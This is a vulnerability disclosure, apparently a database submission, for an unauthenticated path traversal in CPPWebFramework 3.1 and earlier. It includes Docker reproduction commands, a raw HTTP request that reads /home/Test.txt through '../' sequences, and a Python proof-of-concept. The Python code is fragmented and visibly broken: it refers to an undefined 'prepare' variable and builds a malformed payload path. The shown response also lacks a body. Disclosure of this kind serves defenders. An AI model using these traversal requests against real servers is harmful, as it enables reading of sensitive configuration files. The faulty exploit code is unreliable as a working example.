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# Submit #785952: HerikLyma CPPWebFramework <= 3.1 (HTTP Server Header) Relative Path Traversal

**Title** HerikLyma CPPWebFramework <= 3.1 (HTTP Server Header) Relative Path Traversal

**Description** CPPWebFramework contains an unauthenticated Directory Traversal vulnerability. The framework concatenates user-supplied URLs directly with the web root path without sanitizing ../ sequences.

While the application utilizes a file-extension whitelist, attackers can bypass directory restrictions to read arbitrary files on the host system that share a whitelisted extension (e.g., .ini, .txt, .xml, .json, .zip, .php, .html, .rar, .doc, .pdf, .mp3, .mp4). This allows remote attackers to leak highly sensitive framework configuration files (such as CPPWeb.ini).

The vulnerability can be verified using the official Docker container provided by the developers.

```
sudo docker run -d -p 80:80 imacellone/cwf-helloworld:1.0

docker exec -it <container_id> bash
root@<container_id>:/# echo "Unauthenticated Arbitrary File Read via Path Traversal" > /home/Test.txt
```

**Proof of Concept (HTTP Request):**

```
GET /../../../../home/Test.txt HTTP/1.1
Host: 127.0.0.1
Connection: close
```

**Proof of Concept (Response):**

```
HTTP/1.1 200 OK
Content-Length: 55
Content-Type: text/plain; charset=UTF-8
Server: C++-Web-Server
```

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Python PoC:

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```
import requests
```

```
target = "http://127.0.0.1:80"
```

```
payload = "../home/Test.txt"
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```
# Bypass requests automatic URL normalization
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```
session = requests.Session()
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```
req = requests.Request("GET", target + payload)
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prep = req.prepare()
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prep.url = target + payload
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response = session.send(prepare)
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print(response.text)
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python3 PoC.py
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**Source**  <https://github.com/HerikLyma/CppWebFramework/issues/40>

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